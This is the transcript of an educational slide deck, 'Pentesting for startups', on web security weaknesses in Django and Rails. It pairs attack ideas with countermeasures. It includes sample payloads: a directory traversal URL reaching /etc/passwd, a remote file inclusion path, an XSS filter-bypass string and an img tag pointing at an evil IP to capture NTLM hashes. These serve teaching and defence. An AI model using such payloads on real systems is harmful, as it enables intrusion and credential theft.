pentesting for startups
TRANSCRIPT
Pentesting for startups
By Levi Gross
Shameless self promotion
• I work at AxialMarket• Researching computer security for 11 years.• Pentesting for 8 years• Python is my language of choice• Contact info– Blog: http://www.levigross.com – [email protected]– @levigross
Disclaimer
This talk is strictly for educational purposes. I am not responsible for any outcome of this talk.
All images used in the subsequent slides are for informational purposes only and are owned by their respective copyright holders.
The cost of ignorance
• Dropbox• Gawker• Sony
Python• Dangerous models
– Pickle• Code execution
– urllib• ssl certs• file:// is valid• Redirects allow any file to be read (this was fixed in 2.7.2)
– XSS in Basic HTTPServer• A wide open playground
– But syntax is holy• Easy to execute code on the host system
– eval– input
• Unicode issues• C extensions
Django• Auth Framework
– Session framework• Uses unique hashes
– Uses salted hashes• Can use MD5 and crypt but will auto upgrade
– Basic global permission structure• cache backend uses pickle• Default use of unicode• Default URLS• Exceptions don’t propagate back to the user• Automatic variable escape• Built in CSRF protection
– Unique hashes– In web forms as well as in the cookie
Ruby• $SAFE isn’t really safe
– Even layer 4 can be bypassed by exceptions• Patched but still insecure
• SSL verification is disabled by default• Global Variables• Language syntax isn’t holy• Eval• FileUtils
– remove_entry_secure• WEBrick issues• Buffer overflow in ARGF.inplace_mode= • C extensions
Rails
• Secure session framework– Try not to store data in cookies
• Remember base64 is not a method of encryption.• The database is your friend• No information should be put into cookies besides for the hash
• Signed cookies• REST• Basic permissions• Default variable escape• Escaping SQL statements
Information Disclosure
Your Parts are showing
General Information Disclosure• Job sites
– Internal– External
• Exceptions propagating to the end user• Showing everyone what you are running• Post mortem blog posts• Google
– Pastebins• Complaints• Stack Exchange• Github• Mailing lists• Anomalies• Forgotten password?• Just ask…
And so the fun begins…
File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/clogging.py", line 60, in wrap return f(request, *args, **kwargs)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/decorators.py", line 111, in wrap return f(req, *a, **kwa)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/views.py", line 211, in frontpage newsfeed = load_from_store(request.user)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/newsfeed.py", line 39, in load_from_store if not r.exists(key):File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 529, in exists return self.execute_command('EXISTS', name)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 309, in _execute_command self.connection.send(command, self)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 82, in send self.connect(redis_instance)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 67, in connect redis_instance._setup_connection()File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 424, in _setup_connection self.execute_command('SELECT', self.connection.db)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 312, in _execute_command return self.parse_response(command_name, **options)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 390, in parse_response response = self._parse_response(command_name, catch_errors)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 335, in _parse_response response = conn.read()[:-2] # strip last two characters (\r\n)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 99, in read return self._fp.readline()File "/opt/python/2.7/lib/python2.7/socket.py", line 445, in readline data = self._sock.recv(self._rbufsize)
Pasting code into images
But wait there’s more
remote: Push worked, but post-receive failed: Connection reset by peerremote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:234:in `ensure_connected'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:114:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:183:in `logging'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:113:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:38:in `call'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:428:in `sadd'remote: /usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:427:in `sadd'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `send'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `method_missing'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:184:in `watch_queue'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:129:in `push'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque/job.rb:51:in `create'remote: /data/github/current/lib/rock_queue.rb:58:in `enqueue'remote: /data/github/current/lib/rock_queue.rb:28:in `push'remote: hooks/post-receive:37
Not just code hosting sites
Django Information Disclosure
• Using the default URLS– Default paths for media– Admin Urls
• Putting DB fields in urls• URLS == Views• Switching GET and POST• Dajax• Celery• Piston• Template code in the html
Rails Information Disclosure
• Using insecure gems• Don’t let exceptions propagate to a user• Raw template code in the page• View logic written in Javascript• Default URLS• Object ID’s in the URL
Countermeasures• Never let exceptions propagate to end user
• Don’t paste your raw tracebacks directly into any public online location.– Sanitize them
• Every bit of information that is released can be used against you.• Don’t rely on anything here for security
Build a profile of your target
• Blackbox testing• Look for patterns– Corners cut– Style of code (html)
• Learn about the application– Learn the problems/issues programmers face
when dealing with these systems• Gauge difficulty
Time to kick down the door
Session Hijacking• TCP sniffing– Firesheep
• ARP Poisoning
HTTP Sessions in Django & Rails• Django
– Each session is a unique hash value– Cookies can be read via javascript– Predictable cookie name ‘sessionid’– Uses the pickle model– Defaults to an insecure cookie– Values are stored in the session backend– No default cookie domain– File backend allows for reading on /tmp folder– Immune to classic cookie poisoning
• Rails– Signed cookies– Default storage is to the cookie…
Session Hijacking in Django and Rails
• Once you have the cookie you have the user….
Attack Scenarios
• TCP Sniffing– WiFi– ARP Poisoning• Thank you SSL for being useless
• Stealing cookies via a 3rd party site• Who needs passwords when you have
sessions…
Countermeasures• General
– Cycle sessions when user authenticates– Use a cryptographic nonce
• Django– Make sure you set the following settings
• HTTP_ONLY (Only in 1.3) • SECURE• Change the cookie name• Serialize using JSON or YAML
• Rails– Sign cookies– Make the cookies secure and HTTP only– Use the DB to store session data– Clear the sessions after login
XSS (Cross site scripting)
• Enables attackers to inject client-side script (html/JS) into web pages viewed by other users.
XSS in Django
• Auto escapes ‘<>&” with their “safe alternatives”
Problems1. Any other unicode will bypass this check2. If items are not properly quoted you can still
inject attributes into tags1. Other special characters aren’t escaped ( )
3. Designers1. Hate |safe and just use {% autoescape off %}
XSS in Rails• 2.x
– Variables aren’t automatically escaped• Tags are stripped using the strip_tags method
• 3.x– Automatic variable escape
• Unless you use raw– or some other function that doesn’t return safe output
Attack• White lists are useless
– selselectect <scri<script>pt>• Sanitizing the HTML special characters has the same issue Django has.• Tags that don’t sanitize• Concatenation will remove any escaping• Sanitizing doesn’t always work. • AJAX still isn’t escaped
Attack Scenarios
1. Steal user info2. Change User settings3. Steal an admin cookie and add yourself as an
admin user.4. Execute code as an admin to add yourself as
an admin user
Countermeasures• General
– Force the browser to use UTF-8– Never trust user input– Don’t use user input for HTML tag attributes– Take a page out of the python zen
• In the face of ambiguity, refuse the temptation to guess.
• Django– Use the OWASP ESAPI– If you need styling
• Use Sanitizers– lxml– bleach
• Use markdown• Use whitelists not blacklists
• Rails– Escape all user input– before_filter :only => […] instead of :except => […]– Use sanitizers
Clickjacking
• Overlaying the current website with an IFRAME.
• Tricking the user into clicking on certain elements
• User unknowingly performs action on the website he is logged into.
Attack Scenario
• Lure the user to your site.• Add yourself as an admin user• The skies the limit
Frame busting
• X-FRAME-OPTIONS DENY• Disable IFRAME javascript– Restricted => IE– Sandbox => Chrome– designMode in Firefox and Safari
• Use javascript to navigate back to prevent IFRAMES from opening your site.– This is always being exploited so keep up with the
latest exploits.– Read More: https://www.owasp.org/index.php/Clickjacking
CSRFCross site request forgery
CSRF in Django• Built in CSRF protection• Keep up to date• In the form and the HTTP headers/Cookie
• It’s annoying so people turn it off• Only recently do they check AJAX request• Use subdomains
Attacks
CSRF in Rails
• Like Django recently changed• REST makes things harder…• Stored in the cookie
Attacks
• A XSS exploit renders this protection useless.• Subdomains
Attack Scenario
• Attacker uses XSS to inject code within admin site to exploit internal site CSRF issue
• <img src=\\<evil IP> gives me your NTLM
Cookie Poisoning
• Cookies are encoded– Base64
• People never see them…. • Lets store important information• Attacker can– Submit a malformed cookie– Steal another users cookie
Cookie Poisoning in Django
• Django defaults to it’s session backend which doesn’t do this.
Attack• People will still use request.COOKIES– Issues with session backend
Cookie Poisoning in Rails
• Rails allows you to shoot yourself in the foot.
Attack• Storing info in cookies• Not signing cookies• Using cookies to manipulate view logic
Attack Scenario
• Pass malformed cookie back to the server– DDOS– Remote code execution– Impersonation
Counter Measures
• Use sticky sessions• Django– Use session app• Use a consistent session backend
– Escape and validate data• Rails– Sign your cookies– Only use hashes– Never trust the user
HTTP Parameter Poisoning
Injecting invalid values into HTTP params• Directory Traversal
– http://someserver/somepage/?val=g&file=../../../../../../etc/passwd
• HTTP Response Splitting– Injecting /r/n into fields splitting the response headers
• Remote file inclusion– /myview?someparam=C:\\ftp\\upload\\exploit
• Invalid method– Using a POST in place of a GET and vis a vis
• Referrer poisoning– http://someserver/somepage/?val=g&referrer=<myurl>
HTTP Parameter Poisoning in Django• Django is immune to – Directory Traversal– HTTP Response Splitting– Remote file inclusion
• Forms cleaned_data allows for value escaping
Attacks• Switching GET and Post are not enforced• Not all HTTP Params are autoescaped by
default– Cache and sessions use pickle
HTTP Parameter Poisoning in Rails
• Blind use of HTTP parameters– Invalid file name checking• arbitrary file upload and execution
– XSS• Remember use AJAX
– Privilege escalation– SQL Injection
Attack Scenarios
• Remote code execution via the cache/session layer
• Authentication bypass by GET/POST switch.
Logic Flaws
• Unauthenticated views• Information leaks• Weak or invalid permissions• eval• Passing unsanitary input around
Exploiting Logic Flaws in Django &Rails
• Django– @login_required– Permissions are global– Objects are serialized– Arbitrary input may have some exciting outcomes
• Logic manipulation• debug=True
– Remember in python nothing is sacred• Rails
– explicit authentication– explicit permission checking– Ruby syntax is extendable
SQL Injection
• Cookies• HTTP Parameters• Logic Flaws• XSS
SQL Injection in Django
• Parameterized queries• LIKE queries are escaped
Attacks
• WHERE is still injectable• People use cursor.raw() all the time• Character escaping is always being broken
– More python unicode fun….
SQL Injection in Rails
• Uses regular expression to “escape” values– Even with parameterized queries – *.connection.quote
• Very easy to execute raw SQL– where– order
Attack Scenarios
• Information theft• Hosting malware or exploits• Full site exploitation
Counter Measures
• Only use permissions that you need• Validate and sanitize all input (twice cannot
hurt)• Encrypt sensitive data
Passwords in Django
• Brute force friendly• Salted hashes– Good but not perfect
• Timing attacks– Mitigation added in 1.3 but flawed due to pythons
string intern• Compatible with older insecure hashes• The Achilles heel of any system
Passwords in Rails
• No authentication– Very popular
• REST Authentication– Blind use of params[:]
• Clear text passwords in the logs• Brute force friendly• Salted hashes– Good but not perfect
• Timing attacks
What are timing attacks
• Side channel attacks• Linear operations• The dangerous binary comparison..
Countermeasures
Authentication• OAUTH
– Everyone forgets to use SSL– Even if you do your still opening yourself up to a Man In The Middle Attack
Best Worst
Attack Scenarios
• Crack password– SQL injection– Brute Force– Phishing
• DDOS• No SSL on OAuth– Even with SSL still vulnerable to a Man In the
Middle attack• Have fun
Countermeasures
• Dual factor authentication• Rate limit authentication logic• Monitoring• Tough permission checks• Whitelists/blacklists• Certificate authentication to verify the
provider
Denial of Service in Django & Rails
• Remember the GIL• No rate limiting• Switching HTTP methods• Python– Virtual methods calls
• Ruby– Slow method dispatch
Great another crazy guy screaming about the end of the world.
• Never rely on one thing alone.– Ask yourself at every point of your application. “If someone penetrated until here
what is stopping him?” • Onion?
• Code defensively– Remember that unknown variables will enter the equation and you have to account
for them.• Monitor everything• Show you care
– Create a security page• Make sure to include a PGP key
• Create an incident response document– Give it a trial run
• Remember a good programmer looks both ways before crossing a one way street.
Recommended Reading• General
– https://www.owasp.org• https://www.owasp.org/index.php/Top_10_2010-Main
– Writing Secure Code (by Microsoft Press)– Hacking Exposed web applications– The Web Application Hacker's Handbook– http://www.reddit.com/r/netsec
• Django– http://www.djangobook.com/en/2.0/chapter20/
• Rails– http://www.rorsecurity.info/– http://groups.google.com/group/rubyonrails-security
• Tools– http://www.metasploit.com/download/– http://w3af.sourceforge.net/
Questions